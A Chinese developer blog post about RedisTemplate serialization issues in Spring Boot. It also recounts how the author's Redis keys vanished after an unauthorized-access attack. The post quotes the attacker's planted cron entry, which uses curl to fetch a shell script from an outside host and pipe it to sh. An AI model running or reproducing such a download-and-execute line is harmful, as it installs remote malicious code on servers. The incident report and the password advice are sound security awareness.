SpringBoot中使用RedisTemplate

  最近在项目中使用redis操作缓存,使用的是Spring-Data的RedisTemplate。使用RedisTemplate之后使得操作redis数据库非常简单,RedisTemplat支持Redis的各种数据结构的操作,提供了简单的api,只要调用API方法就可以实现数据的增删改查。但是在使用过程中也遇到了一些问题,这篇文章本来想的是全面的去介绍一下RedisTemplate如何去使用,如何操作各种数据库,但是在网上我看到了写的非常全面的文章,所以直接引用文章RedisTemplate操作Redis,这一篇文章就够了(一)。本文主要介绍我在使用RedisTemplate的时候遇到的一些问题。

文章目录

目录

文章目录

前言

二、RedisTemplate使用GenericFastJsonRedisSerializer序列化方式,获取String类型的value时报错

三、Redis中的key莫名丢失

总结



前言

  下面是我在使用RedisTemplate在操作Redis的过程中遇到的一些问题以及解决方案。


一、RedisTemplate无法序列化javabean

问题: RedisTemplate的默认序列化的类为JdkSerializationRedisSerializer,如果使用默认的序列化类,则在取数据的时候则会报错

DefaultSerializer requires a Serializable payload but received an object of type [XXX]

 方案:自定义RedisTemplate的序列化方式

@Configuration
public class RedisConfig {

    @Bean
    public RedisTemplate<Object, Object> redisTemplate(RedisConnectionFactory redisConnectionFactory) {
        RedisTemplate<Object, Object> redisTemplate = new RedisTemplate<>();
        redisTemplate.setConnectionFactory(redisConnectionFactory);
        // 使用 GenericFastJsonRedisSerializer 替换默认序列化
        GenericFastJsonRedisSerializer genericFastJsonRedisSerializer = new GenericFastJsonRedisSerializer();
        // 设置key和value的序列化规则
        redisTemplate.setKeySerializer(new GenericToStringSerializer<>(Object.class));
        redisTemplate.setValueSerializer(genericFastJsonRedisSerializer);
        // 设置hashKey和hashValue的序列化规则
        redisTemplate.setHashKeySerializer(new GenericToStringSerializer<>(Object.class));
        redisTemplate.setHashValueSerializer(genericFastJsonRedisSerializer);
        return redisTemplate;
    }
}

二、RedisTemplate使用GenericFastJsonRedisSerializer序列化方式,获取String类型的value时报错

三、Redis中的key莫名丢失

  在使用redis的时候,发现自己设置的key并没有到达过期时间,但是会莫名的丢失

  1. 刚开始认为是服务器内存达到了最大值,执行了淘汰策略,查看服务器内存使用情况

     


发现服务器内存并没有使用多少

   2.  是不是redis.conf配置文件中的内存设置太小导致的

 maxmemory设置为0,表示不限制内存的大小,所以也排除这个可能

  3. 登录redis客户端,发现所有的key都被删除,并且发现一个值为这个的

*/4 * * * * root curl -fsSL http://en2an.top/cleanfda/init.sh | sh

通过百度发现原来被攻击了: redis未授权访问漏洞分析

解决方案:通过给redis服务器添加密码访问

总结

使用redis的时候需要配置好序列化方式,并且注意redis的内存以及淘汰策略等,还有从这件事情,我觉得服务器的安全性也是重要的考量点

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值